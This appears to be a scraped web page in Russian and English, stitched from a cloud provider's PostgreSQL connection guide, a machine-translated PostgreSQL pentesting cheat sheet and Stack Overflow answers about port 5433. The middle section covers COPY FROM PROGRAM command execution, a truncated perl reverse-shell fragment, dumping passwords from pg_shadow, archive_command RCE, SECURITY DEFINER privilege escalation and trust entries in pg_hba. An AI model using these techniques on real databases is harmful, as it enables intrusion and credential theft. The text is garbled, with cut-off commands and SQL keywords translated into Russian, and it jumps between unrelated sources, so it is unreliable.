Подключиться к кластеру PostgreSQL
Подключиться к кластеру PostgreSQL
К кластеру облачных баз данных PostgreSQL можно подключиться по DNS-адресу.
Если кластер подключен к приватной подсети, подключите к подсети кластера облачный роутер с доступом во внешнюю сеть.
Порты
Для подключения к PostgreSQL используйте порты:
Способы подключения
Для всех способов доступно подключение с SSL-сертификатом.
Посмотреть адрес для подключения
Подключение по SSL обеспечивает шифрование данных между вашим сервером и кластером баз данных.
Подключиться без SSL
TCP-порт 5433 использует протокол управления передачей данных (TCP), который является одним из основных протоколов в сетях TCP/IP. T CP является протоколом с установлением соединения и требует квитирования для установки сквозной связи. Только после установления соединения пользовательские данные могут пересылаться в обоих направлениях.
Внимание! TCP гарантирует доставку пакетов данных через порт 5433 в том же порядке, в котором они были отправлены. Гарантированная связь через TCP-порт 5433 является основным отличием TCP от UDP.

PostgreSQL is an open source object-relational database system that uses and extends the SQL language.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
# use the database
# Show installed extensions
# Get history of commands executed
, when a connection attempt fails, dblinksqlclient_unable_to_establish_sqlconnection exception including an explanation of the error. Examples of these details are listed below.
DETAIL: could not connect to server: No route to host Is the server running on host «1.2.3.4» and accepting TCP/IP connections on port 5678?
DETAIL: could not connect to server: Connection refused Is the server
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
Enumeration of Privileges
## If response is «on» then true, if «off» then false
# Try to grant access to groups
## You will probably get this error:
## Cannot GRANT on the «pg_write_server_files» role without being a member of the role.
ROLE u LOGIN PASSWORD
## Cannot GRANT on the «pg_read_server_files» role without being a member of the role.
# Get your permissions over tables
## If nothing, you don’t have any permission
# Interesting functions are inside pg_catalog
#Get by substring
#Check who has access
# Get all functions of a schema
# Get all functions of a schema (pg_catalog in this case)
Read directories and files
# Before executing these function go to the postgres DB (not in the template1)
## If you don’t do this, you might get «permission denied» error even if you have permission
# Check who has permissions
# Try to grant permissions
# By default you can only access files in the datadirectory
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
# Check CREATEROLE privilege escalation
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.
However, there are other techniques to upload big binary files:
Bug bounty tipsign upIntigriti, a premium bug bounty platform created by hackers, for hackers! Join us at
today, and start earning bounties up to $100,000
DROP TABLE IF EXISTS cmd_exec
CREATE TABLE cmd_exec
COPY cmd_exec FROM PROGRAM
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM ‘perl -MIO -e ‘
Or use the multi/postgres/postgres_copy_from_program_cmd_execmetasploit.
More information about this vulnerability
. Хотя сообщалось как CVE-2019-9193, Postges заявил, что это
функция и не будет исправлена
RCE с языками PostgreSQL
После того, как вы узнали из предыдущего поста, как загружать двоичные файлы, вы можете попробовать получить RCE, загрузив расширение postgresql и загрузив его
Файл конфигурации PostgreSQL RCE
В файле конфигурации есть несколько интересных атрибутов, которые могут привести к RCE:
Тогда злоумышленнику потребуется:
Еще один атрибут файла конфигурации, который можно использовать, — archive_command
.
Чтобы это работало, параметр archive_mode должен быть всегда включен. Если это правда, то мы могли бы перезаписать команду в archive_command и принудительно выполнить ее с помощью операций WAL (упреждающая запись в журнал).
Согласно
# Доступ для выполнения команд
# «local» предназначен только для соединений сокетов домена Unix
# локальных подключений IPv4:
все все .0,1/32 доверие
# локальных подключений IPv6:
все все ::1/128 доверие

Объединяем эту идею с тем, что при INSERT/UPDATE/
В PostgreSQL этот поток выглядит примерно так:
/* PostgreSQL не позволяет создавать ИЗМЕНЯЕМУЮ индексную функцию, поэтому сначала создадим НЕИЗМЕННУЮ индексную функцию */
/* Замените функцию индексной функцией VOLATILE, чтобы обойти ограничение PostgreSQL */
‘КОПИРОВАТЬ public.shell_commands_results (данные) ИЗ ПРОГРАММЫ »/usr/bin/id»; выберите «тест»;’
После выполнения SQL-запроса эксплойта таблица shell_commands_results содержит выходные данные выполненного кода:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
‘ВЫБРАТЬ имя пользователя, пароль из pg_shadow’
Обратите внимание, что для работы предыдущего запроса должна существовать функция dblink. Если нет, вы можете попытаться создать его с помощью
.
Проверить наличие этой функции можно с помощью:
Пользовательская функция с
В этой статье
пентестеры смогли выполнить privesc внутри экземпляра postgres, предоставленного IBM, поскольку они нашли эту функцию с флагом SECURITY DEFINER
объяснено в документации
В строке 4 предыдущего кода вы можете видеть, что функция имеет ОПРЕДЕЛИТЕЛЬ БЕЗОПАСНОСТИ
.
ПОДПИСКА test3 ПОДКЛЮЧЕНИЕ ‘хост=127.0.0.1 порт=5432 пароль=a

Пройти Burteforce с PL/pgSQL
В файле postgresql.conf вы можете включить изменение журналов postgresql:
перезапустить службу
/etc/services носит лишь рекомендательный характер, это список известных портов. Это не означает, что на этом порту действительно что-то работает или что указанная служба будет работать на этом порту.
В случае PostgreSQL обычно используется порт 5432, если он доступен. Если это не так, большинство установщиков выберут следующий свободный порт, обычно 5433.
.
Вы можете увидеть, что на самом деле работает, с помощью инструмента netstat (доступного в OS X, Windows и Linux, синтаксис командной строки которого различается во всех трех).
В системах Mac OS X это еще больше усложняется ужасным беспорядком различных пакетов PostgreSQL — древней версии PostgreSQL от Apple, встроенной в ОС, Postgres.app, Homebrew, Macports, установщика EnterpriseDB и т. д. и т. п.
Вы также можете указать каталог сокетов unix; проверьте настройку unix_socket_directories экземпляра PostgreSQL, к которому вы хотите подключиться, и укажите это с помощью psql -h, например, psql -h /tmp.
Более чистое решение — исправить системный PATH, чтобы psql и libpq, связанные с фактически запущенным PostgreSQL, были первыми, найденными в PATH. Подробности этого зависят от вашей версии Mac OS X и того, какие пакеты Pg вы установили. Я не использую Mac и не могу предоставить более подробную информацию об этой стороне, не потратив на это больше времени, чем доступно в настоящее время.
Я пытаюсь развернуть второй контейнер базы данных на удаленном сервере с помощью Docker Compose. Этот сервер postgresql работает на порту 5433, а не на порту 5432, который используется первым контейнером postgresql.
Когда я настраиваю приложение, я получаю следующую ошибку:
, а мой файл компоновки докера:
Я считаю, что проблема заключается в том, что файл postgresql.conf на экземпляре сервера установил порт на 5432, что приводит к ошибке, когда мое приложение пытается подключиться к нему. Есть ли простой способ изменить порт с помощью команды в файле компоновки, а не возиться с томами для замены файла?
Для этой работы я использую официальный контейнер postgresql.
5 золотых знаков30 серебряных знаков60 бронзовых знаков
спросил 12 июня 2016 в 15:02
Некоторые люди могут захотеть изменить порт, на котором работает Postgres, вместо того, чтобы переназначать открытый порт хосту с помощью директивы порта.
Для этого используйте команду: -p 5433
В примере, использованном для вопроса:
Обратите внимание, что только хост будет соблюдать директиву порта. Другие контейнеры не будут.
ответил 3 янв. 2020 в 2:00
2 золотых знака24 серебряных знака24 бронзовых знака
Предполагая, что postgres работает на порту 5432 в контейнере, и вы хотите открыть его на хосте на 5433, эта строфа портов:
портов:
— «5433:5432»
откроет сервер на порту 5433 на хосте. В этом сценарии вы можете избавиться от существующей строфы разоблачения.
Если вы хотите предоставить доступ к службе только другим службам, объявленным в файле компоновки (а НЕ localhost), просто используйте строфу раскрытия и укажите ее на уже внутренний открытый порт 5432.
ответил 12 июн 2016 в 15:15
8 золотых знаков62 серебряных знака86 бронзовых знаков
Как уже говорилось, это тоже работает:
окружающая среда:
— PGPORT: 5433
ответил 25 мая в 22:07
5 серебряных знаков18 бронзовых знаков





